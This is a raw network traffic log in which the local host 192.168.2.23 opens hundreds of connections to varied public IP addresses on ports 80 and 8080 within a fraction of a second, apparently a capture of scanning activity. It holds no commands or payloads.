Mar 21, 2024 05:16:52.899178028 CET	19039	80	192.168.2.23	178.7.161.63
Mar 21, 2024 05:16:52.899197102 CET	19033	8080	192.168.2.23	172.143.39.82
Mar 21, 2024 05:16:52.899204016 CET	19039	80	192.168.2.23	213.85.80.248
Mar 21, 2024 05:16:52.899204969 CET	19039	80	192.168.2.23	213.33.65.72
Mar 21, 2024 05:16:52.899210930 CET	19039	80	192.168.2.23	80.22.220.34
Mar 21, 2024 05:16:52.899214983 CET	19033	8080	192.168.2.23	184.221.173.75
Mar 21, 2024 05:16:52.899215937 CET	19039	80	192.168.2.23	206.139.136.247
Mar 21, 2024 05:16:52.899220943 CET	19033	8080	192.168.2.23	98.45.143.199
Mar 21, 2024 05:16:52.899225950 CET	19039	80	192.168.2.23	206.3.233.68
Mar 21, 2024 05:16:52.899225950 CET	19039	80	192.168.2.23	83.204.152.224
Mar 21, 2024 05:16:52.899241924 CET	19039	80	192.168.2.23	181.69.29.89
Mar 21, 2024 05:16:52.899244070 CET	19033	8080	192.168.2.23	98.114.209.207
Mar 21, 2024 05:16:52.899245024 CET	19033	8080	192.168.2.23	184.87.149.168
Mar 21, 2024 05:16:52.899244070 CET	19033	8080	192.168.2.23	98.171.249.200
Mar 21, 2024 05:16:52.899245024 CET	19039	80	192.168.2.23	86.242.111.44
Mar 21, 2024 05:16:52.899244070 CET	19039	80	192.168.2.23	200.243.32.134
Mar 21, 2024 05:16:52.899245977 CET	19039	80	192.168.2.23	213.130.161.204
Mar 21, 2024 05:16:52.899245024 CET	19033	8080	192.168.2.23	98.225.37.66
Mar 21, 2024 05:16:52.899245024 CET	19033	8080	192.168.2.23	184.108.179.254
Mar 21, 2024 05:16:52.899245024 CET	19039	80	192.168.2.23	80.215.215.58
Mar 21, 2024 05:16:52.899245024 CET	19039	80	192.168.2.23	86.16.186.247
Mar 21, 2024 05:16:52.899254084 CET	19039	80	192.168.2.23	86.239.54.71
Mar 21, 2024 05:16:52.899254084 CET	19033	8080	192.168.2.23	172.211.116.190
Mar 21, 2024 05:16:52.899260044 CET	19039	80	192.168.2.23	80.223.188.114
Mar 21, 2024 05:16:52.899260044 CET	19039	80	192.168.2.23	169.174.222.114
Mar 21, 2024 05:16:52.899266958 CET	19033	8080	192.168.2.23	98.117.155.39
Mar 21, 2024 05:16:52.899275064 CET	19033	8080	192.168.2.23	98.100.173.52
Mar 21, 2024 05:16:52.899275064 CET	19033	8080	192.168.2.23	184.135.225.155
Mar 21, 2024 05:16:52.899281025 CET	19033	8080	192.168.2.23	184.96.253.205
Mar 21, 2024 05:16:52.899286985 CET	19033	8080	192.168.2.23	172.240.218.231
Mar 21, 2024 05:16:52.899286985 CET	19039	80	192.168.2.23	86.197.160.22
Mar 21, 2024 05:16:52.899286985 CET	19033	8080	192.168.2.23	172.25.160.97
Mar 21, 2024 05:16:52.899297953 CET	19033	8080	192.168.2.23	172.255.227.170
Mar 21, 2024 05:16:52.899302006 CET	19033	8080	192.168.2.23	184.1.10.125
Mar 21, 2024 05:16:52.899308920 CET	19033	8080	192.168.2.23	184.13.214.167
Mar 21, 2024 05:16:52.899308920 CET	19033	8080	192.168.2.23	184.217.201.174
Mar 21, 2024 05:16:52.899328947 CET	19033	8080	192.168.2.23	98.62.195.201
Mar 21, 2024 05:16:52.899329901 CET	19033	8080	192.168.2.23	98.147.143.123
Mar 21, 2024 05:16:52.899336100 CET	19033	8080	192.168.2.23	98.159.132.146
Mar 21, 2024 05:16:52.899353981 CET	19033	8080	192.168.2.23	184.217.200.97
Mar 21, 2024 05:16:52.899363041 CET	19033	8080	192.168.2.23	172.53.226.73
Mar 21, 2024 05:16:52.899363995 CET	19033	8080	192.168.2.23	172.61.196.58
Mar 21, 2024 05:16:52.899377108 CET	19033	8080	192.168.2.23	172.87.167.128
Mar 21, 2024 05:16:52.899379969 CET	19033	8080	192.168.2.23	184.99.74.171
Mar 21, 2024 05:16:52.899389982 CET	19033	8080	192.168.2.23	172.206.118.7
Mar 21, 2024 05:16:52.899399996 CET	19033	8080	192.168.2.23	98.67.80.178
Mar 21, 2024 05:16:52.899401903 CET	19033	8080	192.168.2.23	98.174.240.197
Mar 21, 2024 05:16:52.899403095 CET	19033	8080	192.168.2.23	98.239.53.246
Mar 21, 2024 05:16:52.899418116 CET	19033	8080	192.168.2.23	98.139.191.231
Mar 21, 2024 05:16:52.899418116 CET	19033	8080	192.168.2.23	172.8.171.38
Mar 21, 2024 05:16:52.899425030 CET	19033	8080	192.168.2.23	172.25.184.160
Mar 21, 2024 05:16:52.899429083 CET	19033	8080	192.168.2.23	184.62.50.125
Mar 21, 2024 05:16:52.899430037 CET	19033	8080	192.168.2.23	172.53.56.113
Mar 21, 2024 05:16:52.899446011 CET	19033	8080	192.168.2.23	98.15.1.54
Mar 21, 2024 05:16:52.899454117 CET	19033	8080	192.168.2.23	184.196.240.131
Mar 21, 2024 05:16:52.899454117 CET	19033	8080	192.168.2.23	184.212.89.244
Mar 21, 2024 05:16:52.899455070 CET	19033	8080	192.168.2.23	184.196.151.65
Mar 21, 2024 05:16:52.899470091 CET	19033	8080	192.168.2.23	184.253.56.231
Mar 21, 2024 05:16:52.899470091 CET	19033	8080	192.168.2.23	184.191.166.219
Mar 21, 2024 05:16:52.899471045 CET	19033	8080	192.168.2.23	172.190.181.231
Mar 21, 2024 05:16:52.899488926 CET	19033	8080	192.168.2.23	98.216.212.120
Mar 21, 2024 05:16:52.899488926 CET	19033	8080	192.168.2.23	98.33.81.199
Mar 21, 2024 05:16:52.899530888 CET	19033	8080	192.168.2.23	184.212.16.209
Mar 21, 2024 05:16:52.899530888 CET	19039	80	192.168.2.23	213.38.120.101
Mar 21, 2024 05:16:52.899535894 CET	19039	80	192.168.2.23	181.238.144.178
Mar 21, 2024 05:16:52.899539948 CET	19039	80	192.168.2.23	86.102.150.58
Mar 21, 2024 05:16:52.899539948 CET	19033	8080	192.168.2.23	172.223.245.39
Mar 21, 2024 05:16:52.899539948 CET	19033	8080	192.168.2.23	184.118.185.136
Mar 21, 2024 05:16:52.899539948 CET	19033	8080	192.168.2.23	184.12.16.199
Mar 21, 2024 05:16:52.899549007 CET	19033	8080	192.168.2.23	98.187.16.93
Mar 21, 2024 05:16:52.899549007 CET	19039	80	192.168.2.23	206.149.224.122
Mar 21, 2024 05:16:52.899549007 CET	19039	80	192.168.2.23	200.253.20.65
Mar 21, 2024 05:16:52.899549961 CET	19033	8080	192.168.2.23	184.13.196.246
Mar 21, 2024 05:16:52.899549961 CET	19039	80	192.168.2.23	83.42.23.161
Mar 21, 2024 05:16:52.899552107 CET	19033	8080	192.168.2.23	98.110.53.195
Mar 21, 2024 05:16:52.899552107 CET	19039	80	192.168.2.23	178.2.88.248
Mar 21, 2024 05:16:52.899559975 CET	19033	8080	192.168.2.23	184.92.186.244
Mar 21, 2024 05:16:52.899561882 CET	19033	8080	192.168.2.23	184.70.136.59
Mar 21, 2024 05:16:52.899561882 CET	19033	8080	192.168.2.23	172.35.216.240
Mar 21, 2024 05:16:52.899561882 CET	19033	8080	192.168.2.23	172.136.196.181
Mar 21, 2024 05:16:52.899570942 CET	19033	8080	192.168.2.23	172.234.191.189
Mar 21, 2024 05:16:52.899570942 CET	19033	8080	192.168.2.23	98.199.19.0
Mar 21, 2024 05:16:52.899573088 CET	19033	8080	192.168.2.23	98.123.194.244
Mar 21, 2024 05:16:52.899586916 CET	19033	8080	192.168.2.23	172.64.234.120
Mar 21, 2024 05:16:52.899599075 CET	19033	8080	192.168.2.23	184.133.187.203
Mar 21, 2024 05:16:52.899599075 CET	19033	8080	192.168.2.23	184.54.116.99
Mar 21, 2024 05:16:52.899609089 CET	19033	8080	192.168.2.23	172.52.252.90
Mar 21, 2024 05:16:52.899616957 CET	19033	8080	192.168.2.23	172.201.136.93
Mar 21, 2024 05:16:52.899684906 CET	19033	8080	192.168.2.23	172.106.109.62
Mar 21, 2024 05:16:52.899687052 CET	19033	8080	192.168.2.23	172.42.45.185
Mar 21, 2024 05:16:52.899687052 CET	19033	8080	192.168.2.23	184.84.186.235
Mar 21, 2024 05:16:52.899697065 CET	19033	8080	192.168.2.23	172.149.39.35
Mar 21, 2024 05:16:52.899719000 CET	19033	8080	192.168.2.23	184.173.12.38
Mar 21, 2024 05:16:52.899722099 CET	19033	8080	192.168.2.23	184.136.149.44
Mar 21, 2024 05:16:52.899725914 CET	19033	8080	192.168.2.23	172.163.222.138
Mar 21, 2024 05:16:52.899734974 CET	19033	8080	192.168.2.23	184.237.252.16
Mar 21, 2024 05:16:52.899744987 CET	19033	8080	192.168.2.23	98.242.165.8
Mar 21, 2024 05:16:52.899768114 CET	19033	8080	192.168.2.23	172.35.182.209
Mar 21, 2024 05:16:52.899772882 CET	19033	8080	192.168.2.23	172.161.225.125
Mar 21, 2024 05:16:52.899780989 CET	19033	8080	192.168.2.23	184.191.124.20
Mar 21, 2024 05:16:52.899781942 CET	19033	8080	192.168.2.23	184.47.100.222
Mar 21, 2024 05:16:52.899784088 CET	19033	8080	192.168.2.23	172.102.93.18
Mar 21, 2024 05:16:52.899791956 CET	19033	8080	192.168.2.23	172.43.72.159
Mar 21, 2024 05:16:52.899799109 CET	19033	8080	192.168.2.23	98.126.56.247
Mar 21, 2024 05:16:52.899801970 CET	19033	8080	192.168.2.23	184.107.135.121
Mar 21, 2024 05:16:52.899801970 CET	19033	8080	192.168.2.23	184.62.119.35
Mar 21, 2024 05:16:52.899816036 CET	19033	8080	192.168.2.23	172.98.253.108
Mar 21, 2024 05:16:52.899821043 CET	19033	8080	192.168.2.23	172.170.217.201
Mar 21, 2024 05:16:52.899825096 CET	19033	8080	192.168.2.23	184.5.204.154
Mar 21, 2024 05:16:52.899857044 CET	19033	8080	192.168.2.23	172.222.111.65
Mar 21, 2024 05:16:52.899857044 CET	19033	8080	192.168.2.23	98.200.176.177
Mar 21, 2024 05:16:52.899864912 CET	19033	8080	192.168.2.23	98.154.200.202
Mar 21, 2024 05:16:52.899873018 CET	19033	8080	192.168.2.23	172.31.254.199
Mar 21, 2024 05:16:52.899874926 CET	19033	8080	192.168.2.23	98.159.152.240
Mar 21, 2024 05:16:52.899883032 CET	19033	8080	192.168.2.23	172.187.52.209
Mar 21, 2024 05:16:52.899914026 CET	19033	8080	192.168.2.23	184.139.157.88
Mar 21, 2024 05:16:52.899918079 CET	19033	8080	192.168.2.23	172.54.165.59
Mar 21, 2024 05:16:52.899920940 CET	19033	8080	192.168.2.23	98.88.110.151
Mar 21, 2024 05:16:52.899928093 CET	19033	8080	192.168.2.23	184.181.204.1
Mar 21, 2024 05:16:52.899946928 CET	19033	8080	192.168.2.23	98.142.153.179
Mar 21, 2024 05:16:52.899950027 CET	19033	8080	192.168.2.23	172.72.19.14
Mar 21, 2024 05:16:52.899950027 CET	19033	8080	192.168.2.23	184.52.193.158
Mar 21, 2024 05:16:52.899954081 CET	19033	8080	192.168.2.23	184.153.134.114
Mar 21, 2024 05:16:52.899980068 CET	19033	8080	192.168.2.23	172.226.14.134
Mar 21, 2024 05:16:52.899982929 CET	19033	8080	192.168.2.23	184.249.17.151
Mar 21, 2024 05:16:52.899991035 CET	19033	8080	192.168.2.23	172.67.164.216
Mar 21, 2024 05:16:52.899991989 CET	19033	8080	192.168.2.23	98.41.80.245
Mar 21, 2024 05:16:52.899998903 CET	19033	8080	192.168.2.23	184.218.249.214
Mar 21, 2024 05:16:52.900011063 CET	19033	8080	192.168.2.23	98.156.201.203
Mar 21, 2024 05:16:52.900027037 CET	19033	8080	192.168.2.23	184.94.20.20
Mar 21, 2024 05:16:52.900034904 CET	19033	8080	192.168.2.23	184.234.27.51
Mar 21, 2024 05:16:52.900044918 CET	19033	8080	192.168.2.23	172.115.205.155
Mar 21, 2024 05:16:52.900046110 CET	19033	8080	192.168.2.23	98.120.47.147
Mar 21, 2024 05:16:52.900046110 CET	19033	8080	192.168.2.23	184.163.175.87
Mar 21, 2024 05:16:52.900067091 CET	19033	8080	192.168.2.23	184.78.166.239
Mar 21, 2024 05:16:52.900069952 CET	19033	8080	192.168.2.23	98.156.234.180
Mar 21, 2024 05:16:52.900075912 CET	19033	8080	192.168.2.23	98.119.61.236
Mar 21, 2024 05:16:52.900083065 CET	19033	8080	192.168.2.23	172.146.31.62
Mar 21, 2024 05:16:52.900084019 CET	19033	8080	192.168.2.23	98.246.107.203
Mar 21, 2024 05:16:52.900090933 CET	19033	8080	192.168.2.23	172.204.193.139
Mar 21, 2024 05:16:52.900094032 CET	19033	8080	192.168.2.23	172.100.38.221
Mar 21, 2024 05:16:52.900103092 CET	19033	8080	192.168.2.23	172.95.144.244
Mar 21, 2024 05:16:52.900105000 CET	19033	8080	192.168.2.23	184.104.164.120
Mar 21, 2024 05:16:52.900119066 CET	19033	8080	192.168.2.23	172.38.47.158
Mar 21, 2024 05:16:52.900120020 CET	19033	8080	192.168.2.23	184.249.241.13
Mar 21, 2024 05:16:52.900132895 CET	19033	8080	192.168.2.23	98.47.119.243
Mar 21, 2024 05:16:52.900136948 CET	19033	8080	192.168.2.23	172.196.232.106
Mar 21, 2024 05:16:52.900141954 CET	19033	8080	192.168.2.23	98.27.173.189
Mar 21, 2024 05:16:52.900146008 CET	19033	8080	192.168.2.23	172.142.180.255
Mar 21, 2024 05:16:52.900146008 CET	19033	8080	192.168.2.23	184.53.69.26
Mar 21, 2024 05:16:52.900154114 CET	19033	8080	192.168.2.23	172.147.88.243
Mar 21, 2024 05:16:52.900162935 CET	19033	8080	192.168.2.23	184.86.71.91
Mar 21, 2024 05:16:52.900171041 CET	19033	8080	192.168.2.23	98.24.164.77
Mar 21, 2024 05:16:52.900183916 CET	19033	8080	192.168.2.23	184.189.8.211
Mar 21, 2024 05:16:52.900183916 CET	19033	8080	192.168.2.23	184.125.184.199
Mar 21, 2024 05:16:52.900192976 CET	19033	8080	192.168.2.23	184.198.129.199
Mar 21, 2024 05:16:52.900193930 CET	19033	8080	192.168.2.23	98.30.55.18
Mar 21, 2024 05:16:52.900199890 CET	19033	8080	192.168.2.23	172.128.90.112
Mar 21, 2024 05:16:52.900213957 CET	19033	8080	192.168.2.23	184.210.95.160
Mar 21, 2024 05:16:52.900213957 CET	19033	8080	192.168.2.23	184.64.14.77
Mar 21, 2024 05:16:52.900229931 CET	19033	8080	192.168.2.23	184.89.70.87
Mar 21, 2024 05:16:52.900234938 CET	19033	8080	192.168.2.23	172.36.19.148
Mar 21, 2024 05:16:52.900239944 CET	19033	8080	192.168.2.23	172.248.63.98
Mar 21, 2024 05:16:52.900245905 CET	19033	8080	192.168.2.23	172.60.13.59
Mar 21, 2024 05:16:52.901865005 CET	19035	80	192.168.2.23	178.108.216.50
Mar 21, 2024 05:16:52.901907921 CET	19035	80	192.168.2.23	178.53.96.50
Mar 21, 2024 05:16:52.901922941 CET	19035	80	192.168.2.23	178.13.171.73
Mar 21, 2024 05:16:52.901937962 CET	19035	80	192.168.2.23	178.125.110.13
Mar 21, 2024 05:16:52.901957035 CET	19035	80	192.168.2.23	178.93.3.150
Mar 21, 2024 05:16:52.901976109 CET	19035	80	192.168.2.23	178.157.131.70
Mar 21, 2024 05:16:52.901990891 CET	19035	80	192.168.2.23	178.228.97.250
Mar 21, 2024 05:16:52.902008057 CET	19035	80	192.168.2.23	178.141.3.65
Mar 21, 2024 05:16:52.902017117 CET	19035	80	192.168.2.23	178.76.81.202
Mar 21, 2024 05:16:52.902040958 CET	19035	80	192.168.2.23	178.225.90.16
Mar 21, 2024 05:16:52.902053118 CET	19035	80	192.168.2.23	178.58.46.95
Mar 21, 2024 05:16:52.902061939 CET	19035	80	192.168.2.23	178.169.203.131
Mar 21, 2024 05:16:52.902081013 CET	19035	80	192.168.2.23	178.124.4.67
Mar 21, 2024 05:16:52.902225018 CET	19035	80	192.168.2.23	178.237.224.11
Mar 21, 2024 05:16:52.902241945 CET	19035	80	192.168.2.23	178.166.212.164
Mar 21, 2024 05:16:52.902251959 CET	19035	80	192.168.2.23	178.134.190.169
Mar 21, 2024 05:16:52.902268887 CET	19035	80	192.168.2.23	178.56.185.232
Mar 21, 2024 05:16:52.902285099 CET	19035	80	192.168.2.23	178.12.24.210
Mar 21, 2024 05:16:52.902302980 CET	19035	80	192.168.2.23	178.38.106.252
Mar 21, 2024 05:16:52.902318954 CET	19035	80	192.168.2.23	178.247.119.11
Mar 21, 2024 05:16:52.902333021 CET	19035	80	192.168.2.23	178.199.152.247
Mar 21, 2024 05:16:52.902350903 CET	19035	80	192.168.2.23	178.34.202.145
Mar 21, 2024 05:16:52.902362108 CET	19035	80	192.168.2.23	178.74.208.136
Mar 21, 2024 05:16:52.902370930 CET	19035	80	192.168.2.23	178.228.36.243
Mar 21, 2024 05:16:52.902389050 CET	19035	80	192.168.2.23	178.252.8.89
Mar 21, 2024 05:16:52.902412891 CET	19035	80	192.168.2.23	178.251.247.111
Mar 21, 2024 05:16:52.902429104 CET	19035	80	192.168.2.23	178.121.96.34
Mar 21, 2024 05:16:52.902439117 CET	19035	80	192.168.2.23	178.199.159.68
Mar 21, 2024 05:16:52.902448893 CET	19035	80	192.168.2.23	178.229.92.215
Mar 21, 2024 05:16:52.902479887 CET	19035	80	192.168.2.23	178.101.62.217
Mar 21, 2024 05:16:52.902482986 CET	19035	80	192.168.2.23	178.119.101.140
Mar 21, 2024 05:16:52.902491093 CET	19035	80	192.168.2.23	178.73.12.224
Mar 21, 2024 05:16:52.902512074 CET	19035	80	192.168.2.23	178.158.239.204
Mar 21, 2024 05:16:52.902513027 CET	19035	80	192.168.2.23	178.148.203.25
Mar 21, 2024 05:16:52.902520895 CET	19035	80	192.168.2.23	178.117.187.95
Mar 21, 2024 05:16:52.902565002 CET	19035	80	192.168.2.23	178.55.190.216
Mar 21, 2024 05:16:52.902569056 CET	19035	80	192.168.2.23	178.22.7.5
Mar 21, 2024 05:16:52.902610064 CET	19035	80	192.168.2.23	178.1.254.27
Mar 21, 2024 05:16:52.902617931 CET	19035	80	192.168.2.23	178.173.67.21
Mar 21, 2024 05:16:52.902627945 CET	19035	80	192.168.2.23	178.229.255.7
Mar 21, 2024 05:16:52.902635098 CET	19035	80	192.168.2.23	178.232.130.110
Mar 21, 2024 05:16:52.902637005 CET	19035	80	192.168.2.23	178.122.77.78
Mar 21, 2024 05:16:52.902645111 CET	19035	80	192.168.2.23	178.92.126.64
Mar 21, 2024 05:16:52.902645111 CET	19035	80	192.168.2.23	178.61.70.119
Mar 21, 2024 05:16:52.902679920 CET	19035	80	192.168.2.23	178.214.204.214
Mar 21, 2024 05:16:52.902679920 CET	19035	80	192.168.2.23	178.205.157.109
Mar 21, 2024 05:16:52.902679920 CET	19035	80	192.168.2.23	178.176.220.202
Mar 21, 2024 05:16:52.902745008 CET	19035	80	192.168.2.23	178.166.206.21
Mar 21, 2024 05:16:52.902750969 CET	19035	80	192.168.2.23	178.43.229.228
Mar 21, 2024 05:16:52.902755022 CET	19035	80	192.168.2.23	178.97.28.121
Mar 21, 2024 05:16:52.902755022 CET	19035	80	192.168.2.23	178.62.92.221
Mar 21, 2024 05:16:52.902755022 CET	19035	80	192.168.2.23	178.215.72.208
Mar 21, 2024 05:16:52.902749062 CET	19033	8080	192.168.2.23	172.170.244.116
Mar 21, 2024 05:16:52.902782917 CET	19033	8080	192.168.2.23	98.239.202.119
Mar 21, 2024 05:16:52.902786016 CET	19033	8080	192.168.2.23	98.234.155.237
Mar 21, 2024 05:16:52.902786016 CET	19033	8080	192.168.2.23	184.63.164.67
Mar 21, 2024 05:16:52.902786970 CET	19035	80	192.168.2.23	178.162.153.119
Mar 21, 2024 05:16:52.902786016 CET	19033	8080	192.168.2.23	172.110.60.170
Mar 21, 2024 05:16:52.902789116 CET	19033	8080	192.168.2.23	184.205.202.244
Mar 21, 2024 05:16:52.902796030 CET	19035	80	192.168.2.23	178.173.20.233
Mar 21, 2024 05:16:52.902796030 CET	19033	8080	192.168.2.23	184.141.209.108
Mar 21, 2024 05:16:52.902834892 CET	19035	80	192.168.2.23	178.91.25.66
Mar 21, 2024 05:16:52.902834892 CET	19035	80	192.168.2.23	178.50.53.45
Mar 21, 2024 05:16:52.902837992 CET	19035	80	192.168.2.23	178.187.67.69
Mar 21, 2024 05:16:52.902837992 CET	19033	8080	192.168.2.23	184.255.68.20
Mar 21, 2024 05:16:52.902837992 CET	19033	8080	192.168.2.23	184.248.167.190
Mar 21, 2024 05:16:52.902842999 CET	19033	8080	192.168.2.23	98.18.36.161
Mar 21, 2024 05:16:52.902847052 CET	19035	80	192.168.2.23	178.180.235.31
Mar 21, 2024 05:16:52.902847052 CET	19033	8080	192.168.2.23	98.236.4.0
Mar 21, 2024 05:16:52.902848005 CET	19033	8080	192.168.2.23	98.124.231.192
Mar 21, 2024 05:16:52.902853966 CET	19033	8080	192.168.2.23	98.180.218.11
Mar 21, 2024 05:16:52.902853966 CET	19035	80	192.168.2.23	178.190.58.161
Mar 21, 2024 05:16:52.902853966 CET	19033	8080	192.168.2.23	184.72.91.79
Mar 21, 2024 05:16:52.902853966 CET	19033	8080	192.168.2.23	98.16.89.2
Mar 21, 2024 05:16:52.902853966 CET	19033	8080	192.168.2.23	184.63.63.164
Mar 21, 2024 05:16:52.902861118 CET	19035	80	192.168.2.23	178.57.157.197
Mar 21, 2024 05:16:52.902867079 CET	19033	8080	192.168.2.23	172.9.10.202
Mar 21, 2024 05:16:52.902867079 CET	19033	8080	192.168.2.23	172.218.130.27
Mar 21, 2024 05:16:52.902868032 CET	19033	8080	192.168.2.23	184.37.143.32
Mar 21, 2024 05:16:52.902868032 CET	19033	8080	192.168.2.23	98.71.101.11
Mar 21, 2024 05:16:52.902868032 CET	19033	8080	192.168.2.23	98.93.75.85
Mar 21, 2024 05:16:52.902868032 CET	19033	8080	192.168.2.23	184.3.129.69
Mar 21, 2024 05:16:52.902868032 CET	19033	8080	192.168.2.23	184.187.109.204
Mar 21, 2024 05:16:52.902869940 CET	19035	80	192.168.2.23	178.94.221.186
Mar 21, 2024 05:16:52.902879000 CET	19033	8080	192.168.2.23	98.108.143.160
Mar 21, 2024 05:16:52.902879000 CET	19033	8080	192.168.2.23	172.143.77.96
Mar 21, 2024 05:16:52.902879000 CET	19033	8080	192.168.2.23	184.208.48.25
Mar 21, 2024 05:16:52.902879000 CET	19033	8080	192.168.2.23	172.244.141.59
Mar 21, 2024 05:16:52.902882099 CET	19033	8080	192.168.2.23	184.241.164.54
Mar 21, 2024 05:16:52.902882099 CET	19033	8080	192.168.2.23	184.104.184.4
Mar 21, 2024 05:16:52.902882099 CET	19033	8080	192.168.2.23	98.239.67.137
Mar 21, 2024 05:16:52.902884007 CET	19035	80	192.168.2.23	178.109.176.3
Mar 21, 2024 05:16:52.902885914 CET	19033	8080	192.168.2.23	98.167.49.199
Mar 21, 2024 05:16:52.902885914 CET	19033	8080	192.168.2.23	98.2.111.186
Mar 21, 2024 05:16:52.902915001 CET	19033	8080	192.168.2.23	172.200.13.108
Mar 21, 2024 05:16:52.902915001 CET	19033	8080	192.168.2.23	98.241.247.154
Mar 21, 2024 05:16:52.902932882 CET	19033	8080	192.168.2.23	98.217.220.107
Mar 21, 2024 05:16:52.902939081 CET	19033	8080	192.168.2.23	184.172.110.81
Mar 21, 2024 05:16:52.902940035 CET	19033	8080	192.168.2.23	184.173.70.189
Mar 21, 2024 05:16:52.902940989 CET	19033	8080	192.168.2.23	184.138.210.207
Mar 21, 2024 05:16:52.902940989 CET	19033	8080	192.168.2.23	184.229.126.165
Mar 21, 2024 05:16:52.902960062 CET	19033	8080	192.168.2.23	98.196.231.7
Mar 21, 2024 05:16:52.902960062 CET	19033	8080	192.168.2.23	184.247.154.50
Mar 21, 2024 05:16:52.902960062 CET	19033	8080	192.168.2.23	184.79.93.9
Mar 21, 2024 05:16:52.902960062 CET	19033	8080	192.168.2.23	172.224.21.222
Mar 21, 2024 05:16:52.902966022 CET	19035	80	192.168.2.23	178.118.242.99
Mar 21, 2024 05:16:52.902966022 CET	19033	8080	192.168.2.23	184.71.188.249
Mar 21, 2024 05:16:52.902966022 CET	19033	8080	192.168.2.23	184.203.13.198
Mar 21, 2024 05:16:52.902966976 CET	19033	8080	192.168.2.23	184.133.161.201
Mar 21, 2024 05:16:52.902967930 CET	19033	8080	192.168.2.23	172.205.3.64
Mar 21, 2024 05:16:52.902967930 CET	19035	80	192.168.2.23	178.160.97.225
Mar 21, 2024 05:16:52.902967930 CET	19033	8080	192.168.2.23	172.121.10.147
Mar 21, 2024 05:16:52.902967930 CET	19035	80	192.168.2.23	178.105.32.75
Mar 21, 2024 05:16:52.902968884 CET	19033	8080	192.168.2.23	98.208.132.201
Mar 21, 2024 05:16:52.902967930 CET	19033	8080	192.168.2.23	172.50.70.77
Mar 21, 2024 05:16:52.902970076 CET	19033	8080	192.168.2.23	172.65.160.217
Mar 21, 2024 05:16:52.902970076 CET	19033	8080	192.168.2.23	98.168.107.176
Mar 21, 2024 05:16:52.902970076 CET	19033	8080	192.168.2.23	184.252.227.39
Mar 21, 2024 05:16:52.902977943 CET	19035	80	192.168.2.23	178.235.177.31
Mar 21, 2024 05:16:52.902977943 CET	19033	8080	192.168.2.23	98.74.82.119
Mar 21, 2024 05:16:52.902977943 CET	19033	8080	192.168.2.23	172.108.164.47
Mar 21, 2024 05:16:52.902981043 CET	19033	8080	192.168.2.23	184.140.104.78
Mar 21, 2024 05:16:52.902981043 CET	19033	8080	192.168.2.23	98.231.88.197
Mar 21, 2024 05:16:52.902981043 CET	19033	8080	192.168.2.23	172.156.30.200
Mar 21, 2024 05:16:52.902993917 CET	19033	8080	192.168.2.23	184.236.181.199
Mar 21, 2024 05:16:52.903008938 CET	19035	80	192.168.2.23	178.30.165.32
Mar 21, 2024 05:16:52.903017998 CET	19035	80	192.168.2.23	178.48.63.114
Mar 21, 2024 05:16:52.903023958 CET	19033	8080	192.168.2.23	184.87.10.175
Mar 21, 2024 05:16:52.903023958 CET	19033	8080	192.168.2.23	184.108.189.57
Mar 21, 2024 05:16:52.903032064 CET	19033	8080	192.168.2.23	98.58.103.99
Mar 21, 2024 05:16:52.903032064 CET	19035	80	192.168.2.23	178.248.110.245
Mar 21, 2024 05:16:52.903032064 CET	19033	8080	192.168.2.23	172.30.45.146
Mar 21, 2024 05:16:52.903033972 CET	19033	8080	192.168.2.23	98.171.199.22
Mar 21, 2024 05:16:52.903038979 CET	19033	8080	192.168.2.23	98.214.205.37
Mar 21, 2024 05:16:52.903039932 CET	19033	8080	192.168.2.23	98.185.33.87
Mar 21, 2024 05:16:52.903039932 CET	19033	8080	192.168.2.23	98.105.167.135
Mar 21, 2024 05:16:52.903039932 CET	19033	8080	192.168.2.23	172.7.232.219
Mar 21, 2024 05:16:52.903059006 CET	19033	8080	192.168.2.23	184.88.65.77
Mar 21, 2024 05:16:52.903063059 CET	19033	8080	192.168.2.23	172.254.132.137
Mar 21, 2024 05:16:52.903064966 CET	19035	80	192.168.2.23	178.251.6.12
Mar 21, 2024 05:16:52.903064966 CET	19035	80	192.168.2.23	178.138.219.1
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	184.107.244.50
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	172.129.241.41
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	184.118.41.190
Mar 21, 2024 05:16:52.903069019 CET	19035	80	192.168.2.23	178.82.101.146
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	184.245.51.160
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	98.156.236.204
Mar 21, 2024 05:16:52.903069019 CET	19033	8080	192.168.2.23	184.254.187.78
Mar 21, 2024 05:16:52.903069019 CET	19033	8080	192.168.2.23	184.90.142.174
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	172.68.189.120
Mar 21, 2024 05:16:52.903065920 CET	19035	80	192.168.2.23	178.15.141.230
Mar 21, 2024 05:16:52.903065920 CET	19035	80	192.168.2.23	178.51.118.32
Mar 21, 2024 05:16:52.903065920 CET	19033	8080	192.168.2.23	184.239.210.71
Mar 21, 2024 05:16:52.903065920 CET	19035	80	192.168.2.23	178.46.84.4
Mar 21, 2024 05:16:52.903065920 CET	19035	80	192.168.2.23	178.89.12.36
Mar 21, 2024 05:16:52.903085947 CET	19033	8080	192.168.2.23	172.75.127.213
Mar 21, 2024 05:16:52.903085947 CET	19033	8080	192.168.2.23	172.84.21.123
Mar 21, 2024 05:16:52.903107882 CET	19033	8080	192.168.2.23	172.199.79.195
Mar 21, 2024 05:16:52.903107882 CET	19033	8080	192.168.2.23	172.165.26.158
Mar 21, 2024 05:16:52.903112888 CET	19033	8080	192.168.2.23	98.62.218.203
Mar 21, 2024 05:16:52.903114080 CET	19033	8080	192.168.2.23	98.157.45.195
Mar 21, 2024 05:16:52.903114080 CET	19033	8080	192.168.2.23	184.39.160.61
Mar 21, 2024 05:16:52.903115988 CET	19035	80	192.168.2.23	178.142.198.72
Mar 21, 2024 05:16:52.903112888 CET	19033	8080	192.168.2.23	98.188.123.176
Mar 21, 2024 05:16:52.903115988 CET	19033	8080	192.168.2.23	172.197.83.223
Mar 21, 2024 05:16:52.903127909 CET	19033	8080	192.168.2.23	184.119.199.109
Mar 21, 2024 05:16:52.903127909 CET	19033	8080	192.168.2.23	98.104.233.12
Mar 21, 2024 05:16:52.903127909 CET	19035	80	192.168.2.23	178.121.144.195
Mar 21, 2024 05:16:52.903127909 CET	19033	8080	192.168.2.23	98.21.161.9
Mar 21, 2024 05:16:52.903132915 CET	19035	80	192.168.2.23	178.12.119.136
Mar 21, 2024 05:16:52.903132915 CET	19033	8080	192.168.2.23	184.64.248.104
